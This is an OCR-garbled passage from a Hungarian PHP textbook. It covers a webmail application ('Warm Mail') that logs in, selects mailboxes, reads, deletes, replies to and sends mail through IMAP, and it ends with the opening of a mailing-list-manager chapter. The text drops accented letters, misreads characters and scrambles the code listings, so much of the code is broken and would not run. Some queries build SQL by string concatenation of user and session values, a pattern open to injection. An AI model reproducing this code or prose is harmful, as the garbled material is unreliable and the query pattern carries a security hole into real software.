$_SESSION['kivalasztott_fiok'],
$uzenetiD);
case 'fiok-kivalasztasa':
case 'postafiok-megtekintese':
458
29.fezet
case 'fejlecek-megjelenitese':
case 'fejlecek-elrejtese':
29
case 'uzenet-megtekintese':
$teljesfejlecek);
break;
case 'valasz-mindenkinek':
if (! $imap)
$imap = postafiok_megnytasa($_SESSION['hitelesltett felhasznalo'],
$ SESSION['kivalasztott_fiok'));
if($imap)
$fejlec
imap_header($imap,
$uzenetiD);
if($fejlec->valasz eim)
$cimzett
$fejlec->valasz eim;
else
$cimzett
$fejlec->felado_cime;
$masolatot kap
$targy = "Re:
$fejlec->masolatot kap_c1me;
".$fejlec->targy;
$uzenetiD)));
imap_close($imap);
uj uzenet urlap_megjelenitese($ SESSION['hitelesitett felhasznalo'),
$cimzett,
$masolatot kap,
$targy,
$tartalom);
break;
case 'valasz':
postafiok_megnyitasa($ SESSION['hitelesltett_felhasznalo'),
$ SESSION['kivalasztott_fiok']);
if($imap)
$fejlee
imap_header($imap,
$uzenet!D);
459
lf($fejlec->valasz eim)
$cmzett
else
$fejlec->valasz_cim;
$cmzett
$fejlec->felado_cime;
$targy = "Re:
".$fejlec->targy;
$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,
$uzenetiD)));
imap_close($imap);
uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,
$masolatot kap,
$targy,
$tartalom);
break;
case 'tovabbitas':
if($imap)
$fejlee
imap_header($imap,
$uzenetiD);
$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,
$targy =
"Fwd:
$uzenetiD)));
".$fejlec->targy;
imap close($imap);
uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,
$masolatot_kap,
$targy,
$tartalom);
break;
case 'uj-uzenet':
uj_uzenet_urlap_megjelenitese($_SESSION['hltelesltett_felhasznalo'l,
$cmzett,
$masolatot_kap,
$targy,
$tartalom);
break;
//*****************************************************************************
ll 4.
rsz:
lblc
//*****************************************************************************
html lablec letrehozasa();
?>
az
az
az
egyes esemnyek
z gombjaira kattint, ezekkel a kattintsokkal pedig lnyegben kivlaszt egy mveletet. A gombok tbbsgt a gomb_
megjelenitese () fggvny lltja el, de rlapok klds gombja esetn az urlap_gomb_megjelenitese() fggvnyt
az
29
460
29. fejezet
Nmi elkszt munkra van szksg, mieltt elkldjk a bngsznek az oldal fejlct; pldul elindtjuk a munka
menetet, elfeldolgozst vgznk a felhasznl ltal kivlasztott mvelethez, illetve eldntjk, hogyan kell egyltaln
kinznik a fejlceknek.
2.
3.
A kivlasztott mvelet alapjn eldntjk, hogy a kd melyik trzst kell vgrehajtani. A klnbz mveletek klnb
z fggvnyhvsokat vltanak ki.
29
Be s kijelentkezs
Amikor egy felhasznl betlti az index. php oldalt, a 29.2 brn mutatott kimenetet ltja.
29.2 bra: A Warm Maii alkalmazs bejelentkezsi fellete felhasznli nevet s jelszt kr.
Az alkalmazs alaprtelmezsben a bejelentkezsi kpernyt jelenti meg. Mivel a $muvelet mg nincsen kivlasztva, s
nincsenek mg bejelentkezsi adatok, a PHP elszr a kvetkez kdot futtatja le:
include ('beillesztett fuggvenyek.php');
session_start();
'postafiok-megtekintese';
= 'uj-uzenet';
$gombok[2] = 'fiok-bealltasa';
Ha ksbb a felhasznl rendszergazdaknt jelentkezik be, tovbbi gombokat adunk ehhez a tmbhz.
Ami a fejlcet illeti, egyszer vanlia sznt ksztnk:
html fejlee letrehozasa($_SESSION['hitelesitett_felhasznalo'],
$ SESSION['kivalasztott_fiok']);
eszkozsav_megjelenitese($gombok);
"Warm Mail",
461
a kimeneti_ fuggvenyek. php fggvnyknyvtr tartalmazza, de mivel vgeredmnyk egyrtelmen ltszik az brn,
rszletesebben nem foglalkozunk velk.
Most kvetkezik a kd trzse:
if(!hitelesitett_felhasznalo_ellenorzese())
echo
if(($muvelet)
&&
($muvelet!='kijelentkezes'))
29
echo ".</p>";
bejelentkezesi_urlap_megjelenitese($muvelet);
Ha a felhasznl megfelelen tlttte ki az rlapot, s a "Bejelentkezs" gombra kattint, a 29.3 brn lv kimenetet fogja
ltni.
-.,.
.
' .
.: .
'
8i
A kd futtatsa sorn klnbz kdrszeket aktivl unk. A bejelentkezsi rlap kt mezvel rendelkezik:
$felhasznalo i_nev s $jelszo. Amennyiben a felhasznl kitlttte ezeket, az elfeldolgoz kd kvetkez rsze fog
lefutni:
if ($felhasznaloi nev
ll
$jelszo)
if(bejelentkezes($felhasznaloi_nev,
$jelszo))
lOOpx\">Sikeres bejelentkezs.</p>";
else
= $fiokok[Ol;
$allapot
"<p style=\"padding-bottom:
A fenti sorokbl kiderl, hogy a bejelentkezes () fggvnyt hvja meg, ami a 27., illetve a 28. fejezetben hasznlt, azo
nos nev fggvnyhez hasonl. Ha rninden rendben van, a felhasznli nevet a hitelesitett_felhasznala nev munka
menet-vltozban jegyezzk fel.
A bejelentkezs elrt belltott gombok mell egy jabb kerl, ami lehetv teszi a bejelentkezett felhasznlnak a kijelent
kezst:
462
29.fezet
if(hitelesitett_felhasznalo_ellenorzese())
$gombok[4]
'kijelentkezes';
Most mr csak a lblcet kell megjelenteni, majd vrhatjuk a felhasznl kvetkez lpst.
29
az
Trjnk vissza a 29.2 pldakdban szerepl kdhoz! A $muvelet vltoz mostani rtke matt a korbbitl eltren visel
kedik a kd.Valamennyire a megjelen fejlc is ms lesz:
html feJlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'],
muvelet_formazasa( $muvelet) ,
"Warm Mail -
".
$ SESSION ['kivalasztott_fiok' l ) ;
SESSION['hitelesitett felhasznalo']);
break;
Ez a tipikus minta: minden parancs ms fggvnyt hv meg.Jelen esetben a fiok_ beallit as_megjelenit ese() fgg
vnyt hvjuk meg. Ennek kdjt a 29.3 pldakdban olvashaguk.
29.3 pldakd: A kimeneti_fuggvenyek. php
fiokok_lekerese($hitelesitett_felhasznalo);
=
sizeof($lista);
=>
$fiok)
463
Amikor meghvjuk a fiok_beallitas_megj elenitese ( ) fggvnyt, j felhasznli fik felvitelre alkalmas, res rlapot jelent meg, amit a felhasznl meglv fikjainak adatait tartalmaz, szerkeszthet rlapok kvetnek. A fiok_urlap_
megj elenitese() fggvny a 29.4 brn lthat rlapot hozza ltre. Pldnkban ezt krflekppen hasznljuk: paramterek
nlkl egy res rlapot, a paramterek tadsa esetn pedig meglv rekordot jelent meg. A fggvny a kimeneti_
fuggvenyek.php knyvtrban helyezkedik el; egyszer HTML kimenetet llt el, ezrt a rszleteibe most nem megynk bele.
A meglv felhasznli fikokat a levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye keresi vissza;
ennek kdjt a 29.4 pldakdban ltjuk.
29.4 pldakd: A levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye- Az adottfelhasznlfikjainak
sszes adatt visszakeresfggvny
function fiokok_lekerese($hitelesitett_felhasznalo)
$lista = array();
if($kapcsolat=adatbazishoz_kapcsolodas())
$lekerdezes = "SELECT
FROM fiokok
WHERE felhasznaloi_nev
$eredmeny
'".$hitelesitett_felhasznalo."'";
$kapcsolat->query($lekerdezes);
if($eredmeny)
while($beallitasok = $eredmeny->fetch_assoc())
array_push($lista, $beallitasok);
else
return false;
return $lista;
Mint lthatjuk, a fiokok _lekerese() fggvny kapcsoldik az adatbzishoz, visszakeresi az adott felhasznl fikjait,
majd tmbknt visszaaclja azokat.
A fiok_ bealli ta sok_ tarolasa () fggvny eltrolja az adatbzisban az j felhasznli fik adatait. A fggvny kdjt
a 29.5 pldakd mutatja.
29.5 pldakd: A levelezo_fuggvenyek. php knnyvtr fiok_beallitasok_tarolasa () fggnye-Afelhasznl j
fikjt az adatbzisban e/trol fggvny
function fiok_beallitasok_tarolasa($hitelesitett felhasznalo, $beallitasok)
if(!kitoltott($beallitasok))
29
464
29.fezet
prblja jra!</p>";
return false;
else {
if($beallitasok['fiok')>0)
$lekerdezes = "UPDATE fiokok SET szerver = '".$beallitasok[szerver) ."',
port = ".$beallitasok[port) .",
tavoli felhasznala =
tavoli jelsza =
29
'n .
tipus = '".$beallitasok[tipus)."',
$beallitasok[tavoli j elszol.
n'
'
'".$beallitasok[port)."',
'".$beallitasok[tavoli_jelszo)."',
if($kapcsolat=adatbazishoz kapcsolodas())
NULL)";
$eredmeny=$kapcsolat->query($lekerdezes);
if ($eredmeny)
return true;
else
return false;
else
az
j fel
hasznli fik ltrehozsa, illetve a meglv fik mdostsa. A fggvny a megfelel lekrdezst lefi.matva menti el a felhaszn
li fik adatait.
Az adatok eitraisa utn az index. php kd trzshez trnk vissza:
case 'beallitasok-tarolasa':
case 'fiok-beallitasa':
case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett_felhasznalo'));
break;
Ezt kveten a fiok_beallitas_megjelenitese() fggvny meghvsval jra megjelentjk a felhasznli fik adata
it. Ezttal mr az jonnan ltrehozort fikot is lthatjuk itt.
465
case 'fiok-torlese':
fiok-torlese($_SESSION['hitelesitett_felhasznalo'l,
$fiok);
break;
Ez a kd a fiok-torlese() fggvnyt hvja meg. A fggvny kdjt a 29.6 pldakd mutatja. A fik trlst a fejlc eltt
kell kezelni, mert a hasznlni kvnt fik kvlasztsa a fejlcben trtnik. A fejlc megjelentse eltt ezrt mdostani kell
a
fikok listjt.
29.6 pldakd:
function fiok_torlese($hitelesitett_felhasznalo,
$fiok_azonosito)
$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;
Azt kveten, hogy a vgrehajts visszakerl az index. php fjlhoz, a kd trzse az albbi kdot futtatja:
case 'beallitasok-tarolasa':
case
'fiok-beallitasa':
case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo'l);
break;
Vegyk szre, hogy ez ugyanaz a kd, mint amit korbban futtattunk; ez egyszeren a felhasznli fikok listjt jelenti meg.
Levl olvassa
Miutn a felhasznl belltotta fikjt vagy fikjait, tovbblphetnk a kvetkez feladatra: kapcsolds ezekhez a fikokhoz,
s a felhasznl leveleinek beolvassa.
Postafik kivlasztsa
A felhasznlnak k kell vlasztania azt a postafi[9t, amelynek a leveleit szeretn elolvasni. Az aktulisan kivlasztott fikot
a $kivalasztott_fiok munkamenet-vltozban troljuk. Ha a felhasznl egyetlen fikot regisztrlt a rendszerben, akkor
bejelentkezs utn automatikusan az lesz kivlasztva:
if(fiokok_szama($_SESSION['hitelesitett_felhasznalo'l) ==l)
$fiokok[Ol;
A levelezo_fuggvenyek. php knyvtr fiokok_szama () fggvnye llaptja meg, hogy a felhasznl egynl tbb
postafikkal rendelkezik-e; a fggvny kdjt a 29.7 pldakdban talljuk. A fiok_lista_lekerese () fggvny a felhasz
nl fikjainak azonostit tartalmaz tmbt ad vissza. Jelen esetben egyeden fik - s gy egyeden azonost - ltezik, amit
a
29
466
29. fejezet
felhasznaloi nev =
29
'".$hitelesitett_felhasznalo."'";
lf($kapcsolat=adatbazlshoz kapcsolodas())
Seredmeny
$kapcsolat->query($lekerdezes);
if($eredmeny)
$sor = $eredmeny->fetch_array();
return $sor[0);
return 0;
ha a
$kivalasztott_fiok);
echo "</td>
</form>";
ltalban nem foglalkoztunk a pldban hasznlt HTML kdokkal, de a fiok_valaszto_ megjeleni tese() fggvny
ltal ellltott HTML rdemes r, hogy kivtelt tegynk vele. Az aktulis felhasznl fikjaitl fggen a fiok_ valasz to_
megjelenitese() fggvny a kvetkezhz hasonl HTML-t hoz ltre:
<select
onchange="window.location=this.options[selectedlndex) .value
name=fiok">
<option
467
A kd nagy rsze egyszeren egy HTML SELECT elem, de egy kis JavaScriptet is tartalmaz. A PHP nem csak HTML-t
kpes ellltani, hanem kliensoldali szkriptek ltrehozsra is hasznlhat.
Amikor vltozs esemny kvetkezik be az elemben, a JavaScript a kivlasztott elem rtkr adja a window.location
vltoznak. Ha a felhasznl a SELECT els elemc vlasztja ki, a window .location rtke 'index.php?action=fiok
kivalasztasa&fiok=lO' lesz. Ennek eredmnyeknt betltdik ez az URL. Amennyiben a felhasznl bngszje nem
tmogatja a JavaScriptet, vagy a JavaScript ki van benne kapcsolva, akkor a kdnak semmilyen hatsa nem lesz.
A kimeneti_fuggvenyek. php knyvcr fiok_valaszto_megjelenitese() fggvnye lekri az elrhet fi
kok listjt, s azt felhasznlva megjelenti a SELECT elemet. Ezen tlmenen a korbban mr megvizsglc fiok_lista_
lekerese () fggvnyt is hasznlja.
A SELECT listban lv elemek brmelyiknek kivlasztsa a fiok-kivalasztasa esemnyt vltja ki. Ha a 29.5 brn
lv URL-re pillanrunk, lthatjuk, hogy ez az esemny, valamint a kivlasztott fik azonosrja hozz lett fzve az URL-hez.
Ezen GET vltozk hozzfzsvel kt dolgot rnk el. Elszr is az index.ph p elfeldolgozsi rszben a kivlasztott
fikot troljuk el a $ki valasztott_fiok munkamener-vltozban:
case 'fiok-kivalasztasa':
mentsk el munkamenet-vltozknt!
$fiok)))
$fiok;
break;
Lthatjuk, hogy ugyanazt a mveletet hajtjuk itt vgre, mintha a felhasznl a"Postafik megrekinrse" lehetsget vlasz
totta volna ki. A kvetkez rszben ezt a mvelet vizsgljuk meg rszletesen.
$fiok_azonosito)
if(!$fiok_azonosito)
J else {
29
468
29. fejezet
$imap = postafiok_megnyitasa($hitelesitett_felhasznalo,
$fiok_azonosito);
if($imap)
$fejlecek
29
imap_headers($imap);
vagy ms informcikat is
de sszefoglalsknt
$uzenetek
sizeof($fejlecek);
for($i = 0;
$i<$uzenetek;
$i++)
echo "#ffffff";
else
echo "#ffffcc";
echo "<ltable>";
else
$fiok _azonosito);
".$fiok['szerver']." postafikot.<lp>";
$fiok_azonosito)
if(fiokok_szama($hitelestett felhasznalo)==l)
$fiokok[O];
$fiokok[O];
fiok_beallitasok_lekerese($hitelesitett felhasznalo,
$fiok_azonos ito);
469
if(!sizeof(Sbeallitasok))
return 0;
Spostafiok
1{1 .Sbeallitasok[szerver];
if(Sbeallitasok[type]==1POP31)
Spostafiok
Spostafiok
.=
1lpop31;
1 : 1 Sbeallitasok[port J
ll figyelmeztets elnyomsa,
1)INBOX 1;
@Simap = imap_open(Spostafiok,
Sbeallltasok[1tavoli_felhasznalo1],
Sbeallitasok[1tavoli_jelszo1]);
return Simap;
string felhasznaloi_nev,
string jelsza
[,
int opciok])
Ha a protokollt nem hatrozzuk meg, akkor alaprtelmezsben az !MAP lesz. Az ltalunk rt kdban megfigyelhet,
hogy amennyiben a felhasznl egy adott fikhoz a POP3 protokollt vlasztotta ki, akkor mi is ezt lltjuk be.
Pldul ahhoz, hogy a helyi gprl, az alaprtelmezett portokat hasznlva olvassuk be a leveleket, a kvetkez fiknevet
kell hasznlni !MAP protokoll esetn:
{localhost:l43)INBOX
A fggvny opcionlis paramtereivel olyan dolgokat lltharunk be, rnint pldul az "open mailbox in read-only
mode'; vagyis a postafik megnyitsa csak olvassi mdban.
Figyeljk meg, hogy mieltt a postafikot meghatroz karakterlncot radtuk volna az imap_open ( ) fggvnynek, da
rabonknt raktuk ssze az sszefih mveleti jel segtsgve!! gyeljnk e karakterlnc ellltsnl, mert a {S karaktereket
tartalmaz sztringek problmkat okozhatnak a PHP-ben.
Ha a postafik megnyithat, akkor !MAP adatfolyamot (stream) ad vissza a fggvnyhvs, amennyiben nem, akkor pedig
false lesz a visszatrsi rtk. Ha mr befejeztk a munkt az !MAP adatfolyammal, az imap_close(imap_stream)
fggvnnyel zrhatjuk be. A fggvnyben az !MAP adatfolyamot adjuk vissza a f alkalmazsnak. Ezt kveten az imap_
headers () fggvnyekkel kapjuk meg a megjelentend e-mail fejlceket:
$fejlecek
imap_headers(Simap);
Ez a fggvny az abban a postafikban tallhat sszes zenet fejlcadatt adja vissza, amelyikhez kapcsoldtunk. Az infor
mcikat tmbknt kapjuk vissza, zenetenknt egy-egy sor adattal. Az informci ekkor mg formzaclan, a fggvny zene
tenknt csak egy sort r ki. A 295 brn lthatjuk, hogyan nz ki a kimenet.
A zavaran hasonl nev imap_header() fggvnnyel tbbet is megtudhatunk az e-mail fejlcekrL Jelen projektben
azonban megelgsznk az imap_headers () fggvnytl kapott adatokkal is.
Levlzenet olvassa
Az elbb hasznlt lista_megj elenitese() fggvnyben minden zenethez az adott e-mailre mutat hivatkozst llrunk
Az u zenetiD a korbban visszakapott fejlcekben hasznlt sorszm. rdemes megjegyezni, hogy az !MAP zenetek
szmozsa l-gye!, nem pedig O-val kezddik. Ha a felhasznl ezen hivatkozsok valamelyikre kattint, a 29.6 brn lthat
kimenetet ltja bngszjben.
29
470
29.fezet
29
Amikor tadjuk ezeket a paramtereket az index. php fjlnak, a kvetkez kdot hajtjuk vgre:
case 'fejlecek-megjelenitese':
case
'fejlecek-elrejtese':
case 'uzenet-megtekintese':
$teljesfejlecek);
break;
Irt ellenrizzk, hogy a $muvelet vltoz rrke a 'fej leeek-megjelenitese'-vel egyenl-e. Ebben az esetben
ez a felttel nem teljesl, s gy a $teljesfejlecek rtkt false-ra lltjuk. Rvidesen megvizsgljuk a 'fej leeek
megjelenitese' mveletet is.
A
Steljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');
sort kicsit bvebben is kifejthertk volna, a kvetkez formban taln valamivel knnyebben rthet lenne:
if ($muvelet ==
'fejlecek-megjelenitese')
$teljesfejlecek
else
true;
Steljesfejlecek = false;
Ezt kveten az uzenet megjelenitese() fggvnyt hvjuk meg. A fggvny kimenete nagyrszt HTML, ezrt most
nem is foglalkozunk vele. Az uzenet_visszakeresese() fggvnyt hvja meg, hogy a postafik megfelel zenett kapjuk
meg:
Suzenet = uzenet_visszakeresese($hitelesitett_felhasznalo,
$fiok_azonosito,
$uzenetiD,
$teljesfejlecek);
A levelezo_ fuggvenyek. php knyvtrban tallhat uzenet_ visszakeresese () fggvny kdjt a 29.10 plda
kd tartalmazza.
29.10 pldakd: A levelezo _fuggvenyek. php knyvtr uzenet_ visszakeresese ()fggvnye- A postafikbl egy
Sfiok_azonosito,
SuzenetiD,
if(! ($hitelesitett_felhasznalo
&&
$uzenetiD
&&
471
$fiok_azonosito))
return false;
Sirnap
postafiok_megnyitasa ($hitelesitett_felhasznalo,
if (! $imap)
$fiok_azonosito);
return false;
$fejlec = imap header($imap,
if(!$fejlec)
$uzenetiD);
29
return false;
$uzenet['tartalom']
imap_body($imap,
if(!$uzenet['tartalom' l)
$uzenet['tartalom']
if($teljesfejlecek)
{
imap_fetchheader($imap,
$uzenet['teljesfejlec']
else
$uzenetiD);
$uzenetiD);
{
'
$uzenet['teljesfejlec']
$uzenet['targy']
$uzenet['valasz eim']
$fejlec->felado_cime;
= $fejlec->valasz_clm;
$uzenet['masolatot_kap_cime']
=
.
'
$fejlec->targy;
$uzenet['felado_cime']
$uzenet['datum']
'
$fejlec->masolatot_kap_cime;
$fejlec->datum;
imap_close($imap);
return $uzenet;
Megint csak a postafiok_megnyitasa () fggvnnyel nyitjuk meg a felhasznl postafikjt,most azonban egy konkrt
zenet utn vagyunk.A fggvnyknyvtr segtsgvel kln-kln tltjk le az zenet fejlct s tartalmr.
Az itt hasznlt hrom IMAP fggvny az imap_header (),az imap_fetchheader() s az imap_body ().Figyeljk
meg. hogy az els kett,fejlcekkel kapcsolatos fggvny eltr a korbban hasznlt imap_headers () fggvnytl! Elnevez
seik kiss zavarak lehetnek,ezrt most sszefoglaljuk s sszehasonltjuk mkdsket:
imap_headers () - Egy adott postafikban lv sszes zenet fejlcnek sszefoglalst adja vissza.A fggvny ltal
Ebben az esetben az imap_header () fggvnnyel krnk le meghatrozott fejlcmezket,ha pedig a felhasznl a teljes
fejlcet kri,az imap_ fetchheader() fggvnnyel jelentjk meg azt szmra. (Erre a tmra a ksbbiekben mg visszat
rnk.)
Az imap_header() s imap_body () fggvnnyel az egyes zenetek bennnket rdekl elemeit tartalmaz tmbt ho
zunk ltre. Az imap_header () fggvnyt a kvetkezkppen hvjuk meg:
$fejlec = imap_header($imap,
$uzenetiD);
= $fejlec->tar0y;
472
29. fejezet
$uzenet['tartalom'] = imap_body($imap,
$uzenetiD);
Vgl az imap_close () fggvnnyel bezrjuk a postafikot, majd visszaadjuk a ltrehozott tmbt az index. php kd
nak. Ezt kveten az uzenet_megjelenitese ( ) fggvny a 29.6 brn lthat formban megjelenti az zenet mezit.
zenetfejlcek megjelentse
A 29.6 brn lthat, hogy az zenet felett a.,Fejlcek megjelentse" gombra kattintharunk. Ezzel a fej leeekmegjelenitese esemnyt aktivljuk, ami az zenettel egytt annak teljes fejlct megjelenti. Amikor a felhasznl a gomb
29
Ahogy azt mr bizonyra szrevettk, az uzenet-megtekintese esemnykezelje a fej leeek-megj elen itese
esemnyt (illetve annak prjt, a fejleeek-elrejtese-t) is lefedi. Ha az els bellts van kivlasztva, ugyangy jrunk el,
mint korbban, de az uzenet_visszakeresese ( ) fggvnyben a fejlcek teljes szvegt fogjuk meg:
if($teljesfejlecek)
$uzenet['tel]esfejlec']
imap fetchheader($imap,
$uzenetiD);
zenet trlse
Ha a felhasznl valamelyik e-maiinl a.,Trls" gombra kattint, a 'torles' mveletet aktivlja. Ezzel az index. php albbi
kdrszlett futtatja le:
case
'torles':
$uzenetiD);
'fiok-kivalasztasa':
case 'postafiok-megtekintese':
A fenti sorokbl kiderl, hogy az zenetet az uzenet_torlese() fggvnnyel trljk, majd a trls utn kapott postafi
kot a korbban bemutatott mdon megjelentjk. Az uzenet_tor lese () fggvny kdjt a 29.11 pldakd mutatja.
473
29.11 pldakd: A levelezo_fuggvenyek. ph p knyvtr uzenet_torlese ()fggvnye- Afggvny egy adott zenetet
trl a postafikbl
function uzenet torlese($hitelesitett_felhasznalo,
$fiok_azonosito,
$uzenetiD)
postafiok_megnyitasa($hitelesitett_felhasznalo,
if($imap)
$fiok_azonosito);
imap_delete($imap,
29
$uzenetiD);
imap_expunge($imap);
imap_close($imap);
return true;
return false;
Lthat, hogy a fggvny tbbIMAP fggvnyt is hasznl. Kzlk szmunkra j az imap_delete() s az imap_
expunge
().rdemes megjegyezni, hogy az imap_delete () fggvny csak kijelli az zeneteket a trlshez. Tetszleges
szm zenetet kijellhetnk gy, majd tnylegesen az i map_expunge ()meghvsval trljk ki ket.
Levlklds
Vgre eljutottunk a levlkldsig. Ez tbbflekppen is vgbemehet a kdban: a felhasznl j zenetet r, illetve berkez le
vlre vlaszol, vagy tovbbtja azt. Nzzk, hogyan mkdnek ezek a mveletek!
j zenet kldse
A felhasznl az.,j zenet" gombra kattintva nyithat j levelet. Ezzel az 'uj-uzenet' mveletet vltja ki, ami a kvetkez
kdot futtatja :
case
'uj-uzenet':
UJ uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$cimzett,
$masolatot kap,
$targy,
$tartalom);
break;
Az j zenet rlap egyszeren egy levlkldsre szolgl rlap. A 29.8 brn ltszik, hogy hogyan nz ki. Az brn valjban
egy berkezett zenetre rt vlaszt ltunk, de az rlap j levl rsa esetn is ugyanez. Rvidesen a tovbbrst s a vlaszkldst
is megvizsgljuk.
474
29.fezet
Az .. zenet kldse" gombra kattintva az 'uzenet-kuldese' mveletet indtjuk meg. Ez az albbi kdot hvja meg:
case 'uzenet-kuldese':
if(uzenet kuldese($cimzett,
$masolatot kap,
$targy,
$uzenet}}
lOOpx\">zenet elkldve.<lp>";
else
echo "<p style=\"padding-bottom:
A kd az zenetet tnylegesen elkld uzenet_kuldese (}fggvnyt hvja meg. A fggvny kdjt a 29.12 pldakd mu-
29
tatja.
29.12 pldakd: A levelezo_fuggvenyek.php
$masolatot_kap,
$targy,
$uzenet}
if (1$kapcsolat=adatbazlshoz kapcsolodas(}}
return false;
felhasznaloi_nev='".$_SESSION['hitelesitett
felhasznalo'] ."'";
$eredmeny = $kapcsolat->query($lekerdezes};
if
(! $eredmeny} {
return false;
else if ($eredmeny->num_rows==0}
return false;
else
$sor = $eredmeny->fetch_object(};
$egyeb = 'Felad:
1f
'.$sor->email_cim;
(! empty($masolatot kap}} {
$egyeb.="\r\nMsolatot kap:
if (mail ($cimzett,
$targy,
$masolatot_kap";
$uzenet,
$egyeb}}
return true;
else
return false;
A fenti sorokbl lthat, hogy a fggvny a mail (} fggvnnyel kld el az e-mailt. Eltte azonban kinyeri az adatbzisbl
a felhasznl e-mail cmt, hogy berja az e-mail .. Felad" mezjbe.
475
if($imap)
imap_header($imap,
$fejlee
if($fejlec->valasz_cim)
$ eimzett
else
$uzenetiD);
29
$fejlec->valasz_cim;
$eimzett
$fejlec->felado_cime;
"Re:
".$fejlec->targy;
$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,
$uzenetiD)));
imap_close($imap);
uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,
$masolatot_kap,
$targy,
$tartalom);
break;
case 'valasz' :
$imap = postafiok_megnyitasa($_SESSION['hitelesitett_felhasznalo'l,
$_SESSION['kivalasztott_fiok'l);
if($imap)
$fejlec = imap_header($imap,
if($fejlec->valasz eim)
$cmzett
else
$uzenetiD);
$fejlec->valasz_cim;
$eimzett
$fejlec->felado_cime;
$targy = "Re:
".$fejlec->targy;
$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,
$uzenetiD)));
imap_close($imap);
uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,
$masolatot_kap,
$targy,
break;
case
'tovabbitas':
$tartalom);
476
29. fejezet
$imap
if($imap}
$fejlee
imap_header($imap,
$uzenetiD};
29
$uzenetiD}}};
".$fejlec->targy;
imap close($imap};
UJ_uzenet_urlap_megJelenitese($ SESSION['hitelesitett_felhasznalo'],
$cmzett,
$masolatot_kap,
$targy,
$tartalom};
break;
Lthat, hogy az egyes mveletek a megfelel fejlcet belltva, szksg esetn formzst alkalmazva, majd az u j_u z enet_
urlap_megjelenitese(} fggvnyt meghvva hozzk ltre az rlapot.
A projekt tovbbfejlesztse
A projektet sokflekppen bvthetjk s fejleszthetjk tovbb. cletszerzs cljbl tnzhetjk a rendszeresen hasznlt leve
lezalkalmazsunkat, de az albbi funkcikkal is gazdagthatjuk az eddig elkszlt programunkat:
Knljuk fel regisztrci Iehetsgc az oldal felhasznlinak! (Erre a clra ismt hasznosthatjuk a Felhasznli hitelests
megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezet egyes kdjait.)
Tegyk lehetv a felhasznlknak, hogy egynl tbb e-mail cmer hasznlhassanak! A legtbb felhasznl nem egy
e-mail cmmel rendelkezik -lehet nekik pldul otthoni s munkahelyi cmk. Azzal, hogy az eltrolt e-mail cmket
a felhasznalek tblbl a fiokok tblba helyezzk t, lehetv tesszk, hogy tbb cmer hasznljanak. Ehhez ter
mszetesen nhny helyen mdostani kell az alkalmazs kdjt is. Az zenet kldse rlapon pldul legrdl listbl
kell kivlasztaniuk a hasznlni kvnt cmket.
Tegyk lehetv, hogy csatolt llomnyokat tartalmaz zeneteket kldhessenek, fogadhassanak s tovbbthassanak!
Ahhoz, hogy a felhasznJk kpesek legyenek csatolt fjlokat kldeni, A fjlrendszer s a kiszolgl elrse cm 19. feje
zetben bemutatott fjlfeltlt funkcira van szksg. A mellkleteket tartalmaz zenetek kldsvel a Levelezlista-ke
zel alkalmazs fejlesztse cm 30. fejezetben foglalkozunk.
Hozzunk ltre nvjegyalbum-funkcikarl
Hozzunk ltre hlzati hrolvas funkcikat! Az NNT P kiszolglrl !MAP fggvnyekkel val olvass majdnem telje
sen megegyezik azzal, amikor postafikbl olvassuk ki annak tarralmt. A klnbsg annyi, hogy msik porrot s proto
kollt kell az imap_open(} fggvny meghvsakor meghatrozni. Az INBOX nev postafik helyett az olvasni kvnt
hrcsoportot kell megnevezni. A Webes frum fejlesztse cm 31. fejezetben szerepl mdszereket webalap hrolvas
alkalmazs ltrehozshoz is felhasznlhatjuk.
Hogyan tovbb:
A kvetkez fejezetben is levelezshez kapcsold projekten dolgozunk. Olyan alkalmazst fogunk fejleszteni, amellyel kln
bz tmj hrleveleket kldhetnk az oldalunkon feliratkoz felhasznlknak.
30
Levelezlista--kezel alkalmazs
fejlesztse
Ha w eboldalunk mr kiterjedt ltogati bzissal rendelkezik, hasznos, ha a regisztrlt felhasznlkkal hrlevelek tjn tarthat
juk a kapcsolatot. Ebben a fejezetben levelezlista kezelsre szolgl felletet fogunk fejleszteni. Lteznek olyan levelezlistk,
ahol a feliratkozottak is tudnak az adott lista tagjainak zenetet kldeni, a fejezetben ltrehozand alkalmazs azonban olyan
rendszer, amelyben csak a lista adminisztrtora kldhet zeneteket. Az alkalmazs neve Pyramid-MLM (mailing list manager,
azaz levelezlista-kezel).
Megoldsunk igen hasonl lesz a piacon megtallhat tbbi ilyen alkalmazshoz. Annak rdekben, hogy legyen elkpzel
snk arrl, min fogunk dolgozni a fejezetben, ltogassunk el az ilyen jelleg zleti megoldsokat kinl http:/ /www.topica.com
oldalra!
Alkalmazsunk lehetv teszi az adminisztrtoroknak, hogy levelezlistkat hozzanak ltre, s klnbz hrleveleket
kldjenek az egyes listkra. A fjlfelelt funkci biztostja annak lehetsgt, hogy feltltsk az offline ltrehozott hrlevelek
szveges s HTML vltozatait. Ez azt jelenti, hogy az adminisztrtorok brmilyen nekik tetsz szaftverrel megalkothaljk
a hrleveleket.
A felhasznlk az oldal brmelyik levelezlistjra feliratkozhamak, s eldnthetik, hogy szveges vagy HTML formtum
ban kvnjk-e megkapni a hrleveleket.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Fjlfeltlts tbb fjl esetn
MIME kdolse-mail mellklecek
HTML formtume-mailek
Felhasznli jelszavak emberi beavatkozs nlkli kezelse
A megolds alkotelemei
